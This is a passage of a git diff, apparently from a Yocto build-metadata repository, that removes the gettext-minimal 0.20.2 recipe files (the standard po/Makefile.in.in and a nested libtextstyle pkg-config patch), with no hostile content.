-- LTLIBCROCO="$gl_cv_LTLIBCROCO"
-- INCCROCO="$gl_cv_INCCROCO"
-- else
-- gl_cv_libcroco_use_included=yes
-- fi
-- fi
-- ])
-+ if test "$gl_cv_libcroco_use_included" != yes; then
-+ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
-+ LIBCROCO=$CROCO_LIBS
-+ LTLIBCROCO=$CROCO_LIBS
-+ INCCROCO=$CROCO_CFLAGS
-+ fi
- AC_SUBST([LIBCROCO])
- AC_SUBST([LTLIBCROCO])
- AC_SUBST([INCCROCO])
-diff --git a/libtextstyle/gnulib-m4/libglib.m4 b/libtextstyle/gnulib-m4/libglib.m4
-index 5853772..767fba2 100644
---- a/libtextstyle/gnulib-m4/libglib.m4
-+++ b/libtextstyle/gnulib-m4/libglib.m4
-@@ -6,100 +6,26 @@ dnl with or without modifications, as long as this notice is preserved.
-
- dnl From Bruno Haible.
-
--dnl gl_LIBGLIB
--dnl gives the user the option to decide whether to use the included or
--dnl an external libglib.
--dnl gl_LIBGLIB(FORCE-INCLUDED)
--dnl forces the use of the included or an external libglib.
- AC_DEFUN([gl_LIBGLIB],
- [
-- ifelse([$1], , [
-- AC_MSG_CHECKING([whether included glib is requested])
-- AC_ARG_WITH([included-glib],
-- [ --with-included-glib use the glib2 included here],
-- [gl_cv_libglib_force_included=$withval],
-- [gl_cv_libglib_force_included=no])
-- AC_MSG_RESULT([$gl_cv_libglib_force_included])
-- ], [gl_cv_libglib_force_included=$1])
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-+ AC_MSG_CHECKING([whether included glib is requested])
-+ AC_ARG_WITH([included-glib],
-+ [ --with-included-glib use the glib2 included here],
-+ [gl_cv_libglib_force_included=$withval],
-+ [gl_cv_libglib_force_included=no])
-+ AC_MSG_RESULT([$gl_cv_libglib_force_included])
-
- gl_cv_libglib_use_included="$gl_cv_libglib_force_included"
- LIBGLIB=
- LTLIBGLIB=
- INCGLIB=
-- ifelse([$1], [yes], , [
-- if test "$gl_cv_libglib_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
-- dnl the included one.
-- AC_CACHE_VAL([gl_cv_libglib], [
-- gl_cv_libglib=no
-- gl_cv_LIBGLIB=
-- gl_cv_LTLIBGLIB=
-- gl_cv_INCGLIB=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
-- dnl INCGLIB_2_0 accordingly.
-- dnl Don't use glib-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([glib-2.0])
-- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- ])
-- if test "$gl_cv_libglib" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- gl_cv_INCGLIB="$INCGLIB_2_0"
-- ])
-- if test "$gl_cv_libglib" != yes; then
-- dnl Often the include files are installed in /usr/include/glib-2.0
-- dnl and /usr/lib/glib-2.0/include.
-- if test -n "$LIBGLIB_2_0_PREFIX"; then
-- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
-- ])
-- fi
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for glib])
-- AC_MSG_RESULT([$gl_cv_libglib])
-- if test $gl_cv_libglib = yes; then
-- LIBGLIB="$gl_cv_LIBGLIB"
-- LTLIBGLIB="$gl_cv_LTLIBGLIB"
-- INCGLIB="$gl_cv_INCGLIB"
-- else
-- gl_cv_libglib_use_included=yes
-- fi
-- fi
-- ])
-+ if test "$gl_cv_libglib_use_included" != yes; then
-+ PKG_CHECK_MODULES([GLIB], [glib-2.0])
-+ LIBGLIB="$GLIB_LIBS"
-+ LTLIBGLIB="$GLIB_LIBS"
-+ INCGLIB="$GLIB_CFLAGS"
-+ fi
- AC_SUBST([LIBGLIB])
- AC_SUBST([LTLIBGLIB])
- AC_SUBST([INCGLIB])
-diff --git a/libtextstyle/lib/term-styled-ostream.c b/libtextstyle/lib/term-styled-ostream.c
-index 3675b5f..811e546 100644
---- a/libtextstyle/lib/term-styled-ostream.c
-+++ b/libtextstyle/lib/term-styled-ostream.c
-@@ -28,15 +28,15 @@
-
- #include <stdlib.h>
-
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
- /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
- #ifndef __CR_FONTS_H__
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
- #endif
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
-
- #include "term-ostream.h"
- #include "hash.h"
-diff --git a/libtextstyle/lib/term-styled-ostream.oo.c b/libtextstyle/lib/term-styled-ostream.oo.c
-index 2cfd4a8..d42c8b4 100644
---- a/libtextstyle/lib/term-styled-ostream.oo.c
-+++ b/libtextstyle/lib/term-styled-ostream.oo.c
-@@ -22,15 +22,15 @@
-
- #include <stdlib.h>
-
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
- /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
- #ifndef __CR_FONTS_H__
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
- #endif
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
-
- #include "term-ostream.h"
- #include "hash.h"
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/Makefile.in.in b/meta/recipes-core/gettext/gettext-minimal-0.20.2/Makefile.in.in
deleted file mode 100644
index de980e040a..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/Makefile.in.in
+++ /dev/null
@@ -1,505 +0,0 @@
-# Makefile for PO directory in any package using GNU gettext.
-# Copyright (C) 1995-2000 Ulrich Drepper <drepper@gnu.ai.mit.edu>
-# Copyright (C) 2000-2020 Free Software Foundation, Inc.
-#
-# Copying and distribution of this file, with or without modification,
-# are permitted in any medium without royalty provided the copyright
-# notice and this notice are preserved. This file is offered as-is,
-# without any warranty.
-#
-# Origin: gettext-0.20.2
-GETTEXT_MACRO_VERSION = 0.20
-
-PACKAGE = @PACKAGE@
-VERSION = @VERSION@
-PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
-
-SED = @SED@
-SHELL = /bin/sh
-@SET_MAKE@
-
-srcdir = @srcdir@
-top_srcdir = @top_srcdir@
-VPATH = @srcdir@
-
-prefix = @prefix@
-exec_prefix = @exec_prefix@
-datarootdir = @datarootdir@
-datadir = @datadir@
-localedir = @localedir@
-gettextsrcdir = $(datadir)/gettext/po
-
-INSTALL = @INSTALL@
-INSTALL_DATA = @INSTALL_DATA@
-
-# We use $(mkdir_p).
-# In automake <= 1.9.x, $(mkdir_p) is defined either as "mkdir -p --" or as
-# "$(mkinstalldirs)" or as "$(install_sh) -d". For these automake versions,
-# @install_sh@ does not start with $(SHELL), so we add it.
-# In automake >= 1.10, @mkdir_p@ is derived from ${MKDIR_P}, which is defined
-# either as "/path/to/mkdir -p" or ".../install-sh -c -d". For these automake
-# versions, $(mkinstalldirs) and $(install_sh) are unused.
-mkinstalldirs = $(SHELL) @install_sh@ -d
-install_sh = $(SHELL) @install_sh@
-MKDIR_P = @MKDIR_P@
-mkdir_p = @mkdir_p@
-
-# When building gettext-tools, we prefer to use the built programs
-# rather than installed programs. However, we can't do that when we
-# are cross compiling.
-CROSS_COMPILING = @CROSS_COMPILING@
-
-GMSGFMT_ = @GMSGFMT@
-GMSGFMT_no = @GMSGFMT@
-GMSGFMT_yes = @GMSGFMT_015@
-GMSGFMT = $(GMSGFMT_$(USE_MSGCTXT))
-XGETTEXT_ = @XGETTEXT@
-XGETTEXT_no = @XGETTEXT@
-XGETTEXT_yes = @XGETTEXT_015@
-XGETTEXT = $(XGETTEXT_$(USE_MSGCTXT))
-MSGMERGE = @MSGMERGE@
-MSGMERGE_UPDATE = @MSGMERGE@ --update
-MSGMERGE_FOR_MSGFMT_OPTION = @MSGMERGE_FOR_MSGFMT_OPTION@
-MSGINIT = msginit
-MSGCONV = msgconv
-MSGFILTER = msgfilter
-
-POFILES = @POFILES@
-GMOFILES = @GMOFILES@
-UPDATEPOFILES = @UPDATEPOFILES@
-DUMMYPOFILES = @DUMMYPOFILES@
-DISTFILES.common = Makefile.in.in remove-potcdate.sin \
-$(DISTFILES.common.extra1) $(DISTFILES.common.extra2) $(DISTFILES.common.extra3)
-DISTFILES = $(DISTFILES.common) Makevars POTFILES.in \
-$(POFILES) $(GMOFILES) \
-$(DISTFILES.extra1) $(DISTFILES.extra2) $(DISTFILES.extra3)
-
-POTFILES = \
-
-CATALOGS = @CATALOGS@
-
-POFILESDEPS_ = $(srcdir)/$(DOMAIN).pot
-POFILESDEPS_yes = $(POFILESDEPS_)
-POFILESDEPS_no =
-POFILESDEPS = $(POFILESDEPS_$(PO_DEPENDS_ON_POT))
-
-DISTFILESDEPS_ = update-po
-DISTFILESDEPS_yes = $(DISTFILESDEPS_)
-DISTFILESDEPS_no =
-DISTFILESDEPS = $(DISTFILESDEPS_$(DIST_DEPENDS_ON_UPDATE_PO))
-
-# Makevars gets inserted here. (Don't remove this line!)
-
-all: all-@USE_NLS@
-
-
-.SUFFIXES:
-.SUFFIXES: .po .gmo .sed .sin .nop .po-create .po-update
-
-# The .pot file, stamp-po, .po files, and .gmo files appear in release tarballs.
-# The GNU Coding Standards say in
-# <https://www.gnu.org/prep/standards/html_node/Makefile-Basics.html>:
-# "GNU distributions usually contain some files which are not source files
-# ... . Since these files normally appear in the source directory, they
-# should always appear in the source directory, not in the build directory.
-# So Makefile rules to update them should put the updated files in the
-# source directory."
-# Therefore we put these files in the source directory, not the build directory.
-
-# During .po -> .gmo conversion, take into account the most recent changes to
-# the .pot file. This eliminates the need to update the .po files when the
-# .pot file has changed, which would be troublesome if the .po files are put
-# under version control.
-$(GMOFILES): $(srcdir)/$(DOMAIN).pot
-.po.gmo:
- @lang=`echo $* | sed -e 's,.*/,,'`; \
- test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \
- echo "$${cdcmd}rm -f $${lang}.gmo && $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) -o $${lang}.1po $${lang}.po $(DOMAIN).pot && $(GMSGFMT) -c --statistics --verbose -o $${lang}.gmo $${lang}.1po && rm -f $${lang}.1po"; \
- cd $(srcdir) && \
- rm -f $${lang}.gmo && \
- $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) -o $${lang}.1po $${lang}.po $(DOMAIN).pot && \
- $(GMSGFMT) -c --statistics --verbose -o t-$${lang}.gmo $${lang}.1po && \
- mv t-$${lang}.gmo $${lang}.gmo && \
- rm -f $${lang}.1po
-
-.sin.sed:
- sed -e '/^#/d' $< > t-$@
- mv t-$@ $@
-
-
-all-yes: $(srcdir)/stamp-po
-all-no:
-
-# Ensure that the gettext macros and this Makefile.in.in are in sync.
-CHECK_MACRO_VERSION = \
- test "$(GETTEXT_MACRO_VERSION)" = "@GETTEXT_MACRO_VERSION@" \
- || { echo "*** error: gettext infrastructure mismatch: using a Makefile.in.in from gettext version $(GETTEXT_MACRO_VERSION) but the autoconf macros are from gettext version @GETTEXT_MACRO_VERSION@" 1>&2; \
- exit 1; \
- }
-
-# $(srcdir)/$(DOMAIN).pot is only created when needed. When xgettext finds no
-# internationalized messages, no $(srcdir)/$(DOMAIN).pot is created (because
-# we don't want to bother translators with empty POT files). We assume that
-# LINGUAS is empty in this case, i.e. $(POFILES) and $(GMOFILES) are empty.
-# In this case, $(srcdir)/stamp-po is a nop (i.e. a phony target).
-
-# $(srcdir)/stamp-po is a timestamp denoting the last time at which the CATALOGS
-# have been loosely updated. Its purpose is that when a developer or translator
-# checks out the package from a version control system, and the $(DOMAIN).pot
-# file is not under version control, "make" will update the $(DOMAIN).pot and
-# the $(CATALOGS), but subsequent invocations of "make" will do nothing. This
-# timestamp would not be necessary if updating the $(CATALOGS) would always
-# touch them; however, the rule for $(POFILES) has been designed to not touch
-# files that don't need to be changed.
-$(srcdir)/stamp-po: $(srcdir)/$(DOMAIN).pot
- @$(CHECK_MACRO_VERSION)
- test ! -f $(srcdir)/$(DOMAIN).pot || \
- test -z "$(GMOFILES)" || $(MAKE) $(GMOFILES)
- @test ! -f $(srcdir)/$(DOMAIN).pot || { \
- echo "touch $(srcdir)/stamp-po" && \
- echo timestamp > $(srcdir)/stamp-poT && \
- mv $(srcdir)/stamp-poT $(srcdir)/stamp-po; \
- }
-
-# Note: Target 'all' must not depend on target '$(DOMAIN).pot-update',
-# otherwise packages like GCC can not be built if only parts of the source
-# have been downloaded.
-
-# This target rebuilds $(DOMAIN).pot; it is an expensive operation.
-# Note that $(DOMAIN).pot is not touched if it doesn't need to be changed.
-# The determination of whether the package xyz is a GNU one is based on the
-# heuristic whether some file in the top level directory mentions "GNU xyz".
-# If GNU 'find' is available, we avoid grepping through monster files.
-$(DOMAIN).pot-update: $(POTFILES) $(srcdir)/POTFILES.in remove-potcdate.sed
- package_gnu="$(PACKAGE_GNU)"; \
- test -n "$$package_gnu" || { \
- if { if (LC_ALL=C find --version) 2>/dev/null | grep GNU >/dev/null; then \
- LC_ALL=C find -L $(top_srcdir) -maxdepth 1 -type f -size -10000000c -exec grep -i 'GNU @PACKAGE@' /dev/null '{}' ';' 2>/dev/null; \
- else \
- LC_ALL=C grep -i 'GNU @PACKAGE@' $(top_srcdir)/* 2>/dev/null; \
- fi; \
- } | grep -v 'libtool:' >/dev/null; then \
- package_gnu=yes; \
- else \
- package_gnu=no; \
- fi; \
- }; \
- if test "$$package_gnu" = "yes"; then \
- package_prefix='GNU '; \
- else \
- package_prefix=''; \
- fi; \
- if test -n '$(MSGID_BUGS_ADDRESS)' || test '$(PACKAGE_BUGREPORT)' = '@'PACKAGE_BUGREPORT'@'; then \
- msgid_bugs_address='$(MSGID_BUGS_ADDRESS)'; \
- else \
- msgid_bugs_address='$(PACKAGE_BUGREPORT)'; \
- fi; \
- case `$(XGETTEXT) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].* | 0.16 | 0.16.[0-1]*) \
- $(XGETTEXT) --default-domain=$(DOMAIN) --directory=$(top_srcdir) \
- --add-comments=TRANSLATORS: \
- --files-from=$(srcdir)/POTFILES.in \
- --copyright-holder='$(COPYRIGHT_HOLDER)' \
- --msgid-bugs-address="$$msgid_bugs_address" \
- $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \
- ;; \
- *) \
- $(XGETTEXT) --default-domain=$(DOMAIN) --directory=$(top_srcdir) \
- --add-comments=TRANSLATORS: \
- --files-from=$(srcdir)/POTFILES.in \
- --copyright-holder='$(COPYRIGHT_HOLDER)' \
- --package-name="$${package_prefix}@PACKAGE@" \
- --package-version='@VERSION@' \
- --msgid-bugs-address="$$msgid_bugs_address" \
- $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \
- ;; \
- esac
- test ! -f $(DOMAIN).po || { \
- if test -f $(srcdir)/$(DOMAIN).pot-header; then \
- sed -e '1,/^#$$/d' < $(DOMAIN).po > $(DOMAIN).1po && \
- cat $(srcdir)/$(DOMAIN).pot-header $(DOMAIN).1po > $(DOMAIN).po && \
- rm -f $(DOMAIN).1po \
- || exit 1; \
- fi; \
- if test -f $(srcdir)/$(DOMAIN).pot; then \
- sed -f remove-potcdate.sed < $(srcdir)/$(DOMAIN).pot > $(DOMAIN).1po && \
- sed -f remove-potcdate.sed < $(DOMAIN).po > $(DOMAIN).2po && \
- if cmp $(DOMAIN).1po $(DOMAIN).2po >/dev/null 2>&1; then \
- rm -f $(DOMAIN).1po $(DOMAIN).2po $(DOMAIN).po; \
- else \
- rm -f $(DOMAIN).1po $(DOMAIN).2po $(srcdir)/$(DOMAIN).pot && \
- mv $(DOMAIN).po $(srcdir)/$(DOMAIN).pot; \
- fi; \
- else \
- mv $(DOMAIN).po $(srcdir)/$(DOMAIN).pot; \
- fi; \
- }
-
-# This rule has no dependencies: we don't need to update $(DOMAIN).pot at
-# every "make" invocation, only create it when it is missing.
-# Only "make $(DOMAIN).pot-update" or "make dist" will force an update.
-$(srcdir)/$(DOMAIN).pot:
- $(MAKE) $(DOMAIN).pot-update
-
-# This target rebuilds a PO file if $(DOMAIN).pot has changed.
-# Note that a PO file is not touched if it doesn't need to be changed.
-$(POFILES): $(POFILESDEPS)
- @test -f $(srcdir)/$(DOMAIN).pot || $(MAKE) $(srcdir)/$(DOMAIN).pot
- @lang=`echo $@ | sed -e 's,.*/,,' -e 's/\.po$$//'`; \
- if test -f "$(srcdir)/$${lang}.po"; then \
- test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \
- echo "$${cdcmd}$(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --lang=$${lang} --previous $${lang}.po $(DOMAIN).pot"; \
- cd $(srcdir) \
- && { case `$(MSGMERGE_UPDATE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].*) \
- $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) $${lang}.po $(DOMAIN).pot;; \
- 0.1[6-7] | 0.1[6-7].*) \
- $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --previous $${lang}.po $(DOMAIN).pot;; \
- *) \
- $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) --lang=$${lang} --previous $${lang}.po $(DOMAIN).pot;; \
- esac; \
- }; \
- else \
- $(MAKE) $${lang}.po-create; \
- fi
-
-
-install: install-exec install-data
-install-exec:
-install-data: install-data-@USE_NLS@
- if test "$(PACKAGE)" = "gettext-tools"; then \
- $(mkdir_p) $(DESTDIR)$(gettextsrcdir); \
- for file in $(DISTFILES.common) Makevars.template; do \
- $(INSTALL_DATA) $(srcdir)/$$file \
- $(DESTDIR)$(gettextsrcdir)/$$file; \
- done; \
- for file in Makevars; do \
- rm -f $(DESTDIR)$(gettextsrcdir)/$$file; \
- done; \
- else \
- : ; \
- fi
-install-data-no: all
-install-data-yes: all
- @catalogs='$(CATALOGS)'; \
- for cat in $$catalogs; do \
- cat=`basename $$cat`; \
- lang=`echo $$cat | sed -e 's/\.gmo$$//'`; \
- dir=$(localedir)/$$lang/LC_MESSAGES; \
- $(mkdir_p) $(DESTDIR)$$dir; \
- if test -r $$cat; then realcat=$$cat; else realcat=$(srcdir)/$$cat; fi; \
- $(INSTALL_DATA) $$realcat $(DESTDIR)$$dir/$(DOMAIN).mo; \
- echo "installing $$realcat as $(DESTDIR)$$dir/$(DOMAIN).mo"; \
- for lc in '' $(EXTRA_LOCALE_CATEGORIES); do \
- if test -n "$$lc"; then \
- if (cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc 2>/dev/null) | grep ' -> ' >/dev/null; then \
- link=`cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc | sed -e 's/^.* -> //'`; \
- mv $(DESTDIR)$(localedir)/$$lang/$$lc $(DESTDIR)$(localedir)/$$lang/$$lc.old; \
- mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \
- (cd $(DESTDIR)$(localedir)/$$lang/$$lc.old && \
- for file in *; do \
- if test -f $$file; then \
- ln -s ../$$link/$$file $(DESTDIR)$(localedir)/$$lang/$$lc/$$file; \
- fi; \
- done); \
- rm -f $(DESTDIR)$(localedir)/$$lang/$$lc.old; \
- else \
- if test -d $(DESTDIR)$(localedir)/$$lang/$$lc; then \
- :; \
- else \
- rm -f $(DESTDIR)$(localedir)/$$lang/$$lc; \
- mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \
- fi; \
- fi; \
- rm -f $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo; \
- ln -s ../LC_MESSAGES/$(DOMAIN).mo $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo 2>/dev/null || \
- ln $(DESTDIR)$(localedir)/$$lang/LC_MESSAGES/$(DOMAIN).mo $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo 2>/dev/null || \
- cp -p $(DESTDIR)$(localedir)/$$lang/LC_MESSAGES/$(DOMAIN).mo $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo; \
- echo "installing $$realcat link as $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo"; \
- fi; \
- done; \
- done
-
-install-strip: install
-
-installdirs: installdirs-exec installdirs-data
-installdirs-exec:
-installdirs-data: installdirs-data-@USE_NLS@
- if test "$(PACKAGE)" = "gettext-tools"; then \
- $(mkdir_p) $(DESTDIR)$(gettextsrcdir); \
- else \
- : ; \
- fi
-installdirs-data-no:
-installdirs-data-yes:
- @catalogs='$(CATALOGS)'; \
- for cat in $$catalogs; do \
- cat=`basename $$cat`; \
- lang=`echo $$cat | sed -e 's/\.gmo$$//'`; \
- dir=$(localedir)/$$lang/LC_MESSAGES; \
- $(mkdir_p) $(DESTDIR)$$dir; \
- for lc in '' $(EXTRA_LOCALE_CATEGORIES); do \
- if test -n "$$lc"; then \
- if (cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc 2>/dev/null) | grep ' -> ' >/dev/null; then \
- link=`cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc | sed -e 's/^.* -> //'`; \
- mv $(DESTDIR)$(localedir)/$$lang/$$lc $(DESTDIR)$(localedir)/$$lang/$$lc.old; \
- mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \
- (cd $(DESTDIR)$(localedir)/$$lang/$$lc.old && \
- for file in *; do \
- if test -f $$file; then \
- ln -s ../$$link/$$file $(DESTDIR)$(localedir)/$$lang/$$lc/$$file; \
- fi; \
- done); \
- rm -f $(DESTDIR)$(localedir)/$$lang/$$lc.old; \
- else \
- if test -d $(DESTDIR)$(localedir)/$$lang/$$lc; then \
- :; \
- else \
- rm -f $(DESTDIR)$(localedir)/$$lang/$$lc; \
- mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \
- fi; \
- fi; \
- fi; \
- done; \
- done
-
-# Define this as empty until I found a useful application.
-installcheck:
-
-uninstall: uninstall-exec uninstall-data
-uninstall-exec:
-uninstall-data: uninstall-data-@USE_NLS@
- if test "$(PACKAGE)" = "gettext-tools"; then \
- for file in $(DISTFILES.common) Makevars.template; do \
- rm -f $(DESTDIR)$(gettextsrcdir)/$$file; \
- done; \
- else \
- : ; \
- fi
-uninstall-data-no:
-uninstall-data-yes:
- catalogs='$(CATALOGS)'; \
- for cat in $$catalogs; do \
- cat=`basename $$cat`; \
- lang=`echo $$cat | sed -e 's/\.gmo$$//'`; \
- for lc in LC_MESSAGES $(EXTRA_LOCALE_CATEGORIES); do \
- rm -f $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo; \
- done; \
- done
-
-check: all
-
-info dvi ps pdf html tags TAGS ctags CTAGS ID:
-
-install-dvi install-ps install-pdf install-html:
-
-mostlyclean:
- rm -f remove-potcdate.sed
- rm -f $(srcdir)/stamp-poT
- rm -f core core.* $(DOMAIN).po $(DOMAIN).1po $(DOMAIN).2po *.new.po
- rm -fr *.o
-
-clean: mostlyclean
-
-distclean: clean
- rm -f Makefile Makefile.in POTFILES
-
-maintainer-clean: distclean
- @echo "This command is intended for maintainers to use;"
- @echo "it deletes files that may require special tools to rebuild."
- rm -f $(srcdir)/$(DOMAIN).pot $(srcdir)/stamp-po $(GMOFILES)
-
-distdir = $(top_builddir)/$(PACKAGE)-$(VERSION)/$(subdir)
-dist distdir:
- test -z "$(DISTFILESDEPS)" || $(MAKE) $(DISTFILESDEPS)
- @$(MAKE) dist2
-# This is a separate target because 'update-po' must be executed before.
-dist2: $(srcdir)/stamp-po $(DISTFILES)
- dists="$(DISTFILES)"; \
- if test "$(PACKAGE)" = "gettext-tools"; then \
- dists="$$dists Makevars.template"; \
- fi; \
- if test -f $(srcdir)/$(DOMAIN).pot; then \
- dists="$$dists $(DOMAIN).pot stamp-po"; \
- fi; \
- if test -f $(srcdir)/ChangeLog; then \
- dists="$$dists ChangeLog"; \
- fi; \
- for i in 0 1 2 3 4 5 6 7 8 9; do \
- if test -f $(srcdir)/ChangeLog.$$i; then \
- dists="$$dists ChangeLog.$$i"; \
- fi; \
- done; \
- if test -f $(srcdir)/LINGUAS; then dists="$$dists LINGUAS"; fi; \
- for file in $$dists; do \
- if test -f $$file; then \
- cp -p $$file $(distdir) || exit 1; \
- else \
- cp -p $(srcdir)/$$file $(distdir) || exit 1; \
- fi; \
- done
-
-update-po: Makefile
- $(MAKE) $(DOMAIN).pot-update
- test -z "$(UPDATEPOFILES)" || $(MAKE) $(UPDATEPOFILES)
- $(MAKE) update-gmo
-
-# General rule for creating PO files.
-
-.nop.po-create:
- @lang=`echo $@ | sed -e 's/\.po-create$$//'`; \
- echo "File $$lang.po does not exist. If you are a translator, you can create it through 'msginit'." 1>&2; \
- exit 1
-
-# General rule for updating PO files.
-
-.nop.po-update:
- @lang=`echo $@ | sed -e 's/\.po-update$$//'`; \
- if test "$(PACKAGE)" = "gettext-tools" && test "$(CROSS_COMPILING)" != "yes"; then PATH=`pwd`/../src:$$PATH; fi; \
- tmpdir=`pwd`; \
- echo "$$lang:"; \
- test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \
- echo "$${cdcmd}$(MSGMERGE) $(MSGMERGE_OPTIONS) --lang=$$lang --previous $$lang.po $(DOMAIN).pot -o $$lang.new.po"; \
- cd $(srcdir); \
- if { case `$(MSGMERGE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \
- '' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].*) \
- $(MSGMERGE) $(MSGMERGE_OPTIONS) -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
- 0.1[6-7] | 0.1[6-7].*) \
- $(MSGMERGE) $(MSGMERGE_OPTIONS) --previous -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
- *) \
- $(MSGMERGE) $(MSGMERGE_OPTIONS) --lang=$$lang --previous -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \
- esac; \
- }; then \
- if cmp $$lang.po $$tmpdir/$$lang.new.po >/dev/null 2>&1; then \
- rm -f $$tmpdir/$$lang.new.po; \
- else \
- if mv -f $$tmpdir/$$lang.new.po $$lang.po; then \
- :; \
- else \
- echo "msgmerge for $$lang.po failed: cannot move $$tmpdir/$$lang.new.po to $$lang.po" 1>&2; \
- exit 1; \
- fi; \
- fi; \
- else \
- echo "msgmerge for $$lang.po failed!" 1>&2; \
- rm -f $$tmpdir/$$lang.new.po; \
- fi
-
-$(DUMMYPOFILES):
-
-update-gmo: Makefile $(GMOFILES)
- @:
-
-# Recreate Makefile by invoking config.status. Explicitly invoke the shell,
-# because execution permission bits may not work on the current file system.
-# Use @SHELL@, which is the shell determined by autoconf for the use by its
-# scripts, not $(SHELL) which is hardwired to /bin/sh and may be deficient.
-Makefile: Makefile.in.in Makevars $(top_builddir)/config.status @POMAKEFILEDEPS@
- cd $(top_builddir) \
- && @SHELL@ ./config.status $(subdir)/$@.in po-directories
-
-force:
-
-# Tell versions [3.59,3.63) of GNU make not to export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/gettext.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/gettext.m4
deleted file mode 100644
index 4f25a27d93..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/gettext.m4
+++ /dev/null
@@ -1,386 +0,0 @@
